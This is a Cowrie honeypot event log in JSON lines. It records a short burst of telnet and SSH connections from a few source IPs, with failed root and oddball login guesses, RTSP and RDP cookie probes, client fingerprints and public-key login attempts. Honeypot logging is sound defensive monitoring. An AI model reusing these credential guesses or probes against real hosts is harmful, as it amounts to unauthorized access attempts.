{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:46.691139Z","src_ip":"34.22.125.139","session":"cc0dea77eacb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18920,"dst_ip":"10.17.0.5","dst_port":23,"session":"53f19ff8b365","protocol":"telnet","message":"New connection: 34.22.125.139:18920 (10.17.0.5:23) [session: 53f19ff8b365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:46.846204Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18926,"dst_ip":"10.17.0.5","dst_port":23,"session":"db8bfec8af4d","protocol":"telnet","message":"New connection: 34.22.125.139:18926 (10.17.0.5:23) [session: db8bfec8af4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:47.000805Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18934,"dst_ip":"10.17.0.5","dst_port":23,"session":"27078749f943","protocol":"telnet","message":"New connection: 34.22.125.139:18934 (10.17.0.5:23) [session: 27078749f943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:47.156493Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18938,"dst_ip":"10.17.0.5","dst_port":23,"session":"b844944d471d","protocol":"telnet","message":"New connection: 34.22.125.139:18938 (10.17.0.5:23) [session: b844944d471d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:47.310821Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18940,"dst_ip":"10.17.0.5","dst_port":23,"session":"bab7e09cebe2","protocol":"telnet","message":"New connection: 34.22.125.139:18940 (10.17.0.5:23) [session: bab7e09cebe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:47.467682Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18950,"dst_ip":"10.17.0.5","dst_port":23,"session":"710caef7d9fb","protocol":"telnet","message":"New connection: 34.22.125.139:18950 (10.17.0.5:23) [session: 710caef7d9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:47.623725Z"}
{"eventid":"cowrie.session.closed","duration":0.0050296783447265625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:47.628628Z","src_ip":"34.22.125.139","session":"710caef7d9fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.682129383087158,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:47.703677Z","src_ip":"152.42.224.71","session":"ad62eac7414a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18966,"dst_ip":"10.17.0.5","dst_port":23,"session":"13be4e5952ca","protocol":"telnet","message":"New connection: 34.22.125.139:18966 (10.17.0.5:23) [session: 13be4e5952ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:47.779940Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38356,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0487bafa25a","protocol":"telnet","message":"New connection: 152.42.224.71:38356 (10.17.0.5:23) [session: f0487bafa25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:47.915457Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18546,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea22f7d304ee","protocol":"telnet","message":"New connection: 34.22.125.139:18546 (10.17.0.5:23) [session: ea22f7d304ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:47.935202Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 5074","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 5074] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:47.940613Z","src_ip":"34.22.125.139","session":"ea22f7d304ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18548,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1a3bc75d53b","protocol":"telnet","message":"New connection: 34.22.125.139:18548 (10.17.0.5:23) [session: f1a3bc75d53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:48.096013Z"}
{"eventid":"cowrie.session.closed","duration":0.0040912628173828125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:48.099983Z","src_ip":"34.22.125.139","session":"f1a3bc75d53b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38372,"dst_ip":"10.17.0.5","dst_port":23,"session":"104062410621","protocol":"telnet","message":"New connection: 152.42.224.71:38372 (10.17.0.5:23) [session: 104062410621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:49.977997Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":45818,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cca67b06ca0","protocol":"ssh","message":"New connection: 43.156.63.254:45818 (10.17.0.5:22) [session: 9cca67b06ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:52.262156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:52.266307Z","src_ip":"43.156.63.254","session":"9cca67b06ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:52.503148Z","src_ip":"43.156.63.254","session":"9cca67b06ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spectra","message":"login attempt [root/spectra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:53.481366Z","src_ip":"43.156.63.254","session":"9cca67b06ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56832,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c50ef7c806f","protocol":"ssh","message":"New connection: 152.42.212.128:56832 (159.203.135.109:22) [session: 0c50ef7c806f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:53.917493Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:53.922099Z","src_ip":"152.42.212.128","session":"0c50ef7c806f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:53.925388Z","src_ip":"152.42.212.128","session":"0c50ef7c806f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:54.721784Z","src_ip":"43.156.63.254","session":"9cca67b06ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.29487609863281,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:57.483157Z","src_ip":"152.42.224.71","session":"3c3402c6dba9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.539429187774658,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.474535Z","src_ip":"34.22.125.139","session":"ea22f7d304ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.699840307235718,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.479648Z","src_ip":"34.22.125.139","session":"13be4e5952ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.01576042175293,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.483301Z","src_ip":"34.22.125.139","session":"bab7e09cebe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.176274538040161,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.486991Z","src_ip":"34.22.125.139","session":"b844944d471d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.489940881729126,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.490642Z","src_ip":"34.22.125.139","session":"db8bfec8af4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.33798599243164,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.494380Z","src_ip":"34.22.125.139","session":"27078749f943","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.971365690231323,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.502785Z","src_ip":"34.22.125.139","session":"00b5735fcc2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.660217761993408,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.506259Z","src_ip":"34.22.125.139","session":"53f19ff8b365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.823875188827515,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.509572Z","src_ip":"34.22.125.139","session":"cc0dea77eacb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.135304689407349,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.512230Z","src_ip":"34.22.125.139","session":"62e5fb7a3da7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.45272445678711,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.515542Z","src_ip":"34.22.125.139","session":"87f224210627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.297213315963745,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.517732Z","src_ip":"34.22.125.139","session":"2d9f47207b28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.773075342178345,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.521180Z","src_ip":"34.22.125.139","session":"7efa25d5d681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.619302034378052,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.524017Z","src_ip":"34.22.125.139","session":"8b7cff086c15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.090604066848755,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.527089Z","src_ip":"34.22.125.139","session":"389b97558276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.936923027038574,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.529946Z","src_ip":"34.22.125.139","session":"42ae70935058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.40804123878479,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.532387Z","src_ip":"34.22.125.139","session":"03c4fc96332f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.646018028259277,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.535118Z","src_ip":"34.22.125.139","session":"6d1b60c08f40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.80838918685913,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.537483Z","src_ip":"34.22.125.139","session":"f320d7346ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.96653413772583,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.539887Z","src_ip":"34.22.125.139","session":"b5a27b898241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.124703645706177,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.542783Z","src_ip":"34.22.125.139","session":"d15c43daebd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.283875465393066,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.545641Z","src_ip":"34.22.125.139","session":"a834e9db2feb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.441534757614136,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.548120Z","src_ip":"34.22.125.139","session":"628355f757f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.599655151367188,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:00.550320Z","src_ip":"34.22.125.139","session":"ec9e2a83a705","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.268611669540405,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:04.144480Z","src_ip":"152.42.224.71","session":"4686f9b91a48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.99835133552551,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:05.277971Z","src_ip":"152.42.224.71","session":"60b564124107","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.82.246","src_port":33552,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a30aaafe5f","protocol":"ssh","message":"New connection: 173.236.82.246:33552 (10.17.0.5:22) [session: 04a30aaafe5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:07.746684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:07.752036Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:07.789708Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:71:94:bb:af:1d:91:1b:3b:a2:a5:94:de:48:be:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3iFSwX7GS8D+yjFmFm51+hC9R2PCUcDyFbmrqHrk6cMUOGOsO6hijJmYTrIpN6GMMXChuWvL0L42vaqTOLJsmKTt7ir0vjzi7uzXrLisf7ISpbpAwBeO77WRppHOPU96aMFQz137IkyYDWEAQ4CN8mEjVr7jUcotoiVmtF4+H1jl7DKMeK/ickRasi5k7dEEkcSXDjlF4etxSTK0hQTZECSTcu9yvuR4F3q6Ykcv+Aef/nm1ze6fdzkurvQE9moJiSVI5L10Ruv9CxxaGiPKWzjJxr2ewNqS/fGCQxWnktbISOoGeMm+3VGWyhviDE6gUZFYihYA24RSJRZgTvIzZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:71:94:bb:af:1d:91:1b:3b:a2:a5:94:de:48:be:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:07.958129Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:71:94:bb:af:1d:91:1b:3b:a2:a5:94:de:48:be:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3iFSwX7GS8D+yjFmFm51+hC9R2PCUcDyFbmrqHrk6cMUOGOsO6hijJmYTrIpN6GMMXChuWvL0L42vaqTOLJsmKTt7ir0vjzi7uzXrLisf7ISpbpAwBeO77WRppHOPU96aMFQz137IkyYDWEAQ4CN8mEjVr7jUcotoiVmtF4+H1jl7DKMeK/ickRasi5k7dEEkcSXDjlF4etxSTK0hQTZECSTcu9yvuR4F3q6Ykcv+Aef/nm1ze6fdzkurvQE9moJiSVI5L10Ruv9CxxaGiPKWzjJxr2ewNqS/fGCQxWnktbISOoGeMm+3VGWyhviDE6gUZFYihYA24RSJRZgTvIzZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:07.961148Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:37:87:39:87:50:3c:57:04:5e:a6:2d:f6:d3:0f:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEA0b9uqupdn9NQytxAxtSkCFwCtdmTTu3njlMPwRzZv3AsrcK06/try8y/8OIXxzYEbM8vHafDsfbdi7MtgL7+ME22ACI4aKRC4tSSJgeDtEXjKMSuNljRHGs+IQINTlzAeYGsNFtVkOA43BbDc68QEP/bNYZBjLAygPgSkFTuMoc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:37:87:39:87:50:3c:57:04:5e:a6:2d:f6:d3:0f:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:07.999866Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:37:87:39:87:50:3c:57:04:5e:a6:2d:f6:d3:0f:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEA0b9uqupdn9NQytxAxtSkCFwCtdmTTu3njlMPwRzZv3AsrcK06/try8y/8OIXxzYEbM8vHafDsfbdi7MtgL7+ME22ACI4aKRC4tSSJgeDtEXjKMSuNljRHGs+IQINTlzAeYGsNFtVkOA43BbDc68QEP/bNYZBjLAygPgSkFTuMoc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:08.003507Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:66:5c:4a:11:85:b8:52:1c:3e:ee:58:73:d6:0b:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz4sKPJqLbw9xbVJyv96Yc6a7MAQ8RsLBx1orWBElrFLpV8N3fS/xswOXYk74ySqdxk+1+/aP9ISiWGKJ+rFdyqppLmC4PxkBwS4A4GwKgoBS2zfmZO6Jz8HqguD8ZyDy/rNZ1Rv/OF2rU+4zip25hM/xWN6R5AdULakucro3Be5oaZ4gkZcsLc/NxucxHu+BNMwF3KSKtlDJc0iWdI/C5KNZVG3ZisHpMExO46uTgKe0xg8RINEa+77R4ojNz6wY1Gzq5hWZRHvdTmRIoVbR8ghUBd9R1EVHZAVOaLDzhtTb+1s1C6oZD7vFErfCn+o7vaWhMEMU0iy1Wa9ixDbbz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:66:5c:4a:11:85:b8:52:1c:3e:ee:58:73:d6:0b:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:08.043439Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:66:5c:4a:11:85:b8:52:1c:3e:ee:58:73:d6:0b:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz4sKPJqLbw9xbVJyv96Yc6a7MAQ8RsLBx1orWBElrFLpV8N3fS/xswOXYk74ySqdxk+1+/aP9ISiWGKJ+rFdyqppLmC4PxkBwS4A4GwKgoBS2zfmZO6Jz8HqguD8ZyDy/rNZ1Rv/OF2rU+4zip25hM/xWN6R5AdULakucro3Be5oaZ4gkZcsLc/NxucxHu+BNMwF3KSKtlDJc0iWdI/C5KNZVG3ZisHpMExO46uTgKe0xg8RINEa+77R4ojNz6wY1Gzq5hWZRHvdTmRIoVbR8ghUBd9R1EVHZAVOaLDzhtTb+1s1C6oZD7vFErfCn+o7vaWhMEMU0iy1Wa9ixDbbz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:08.046916Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
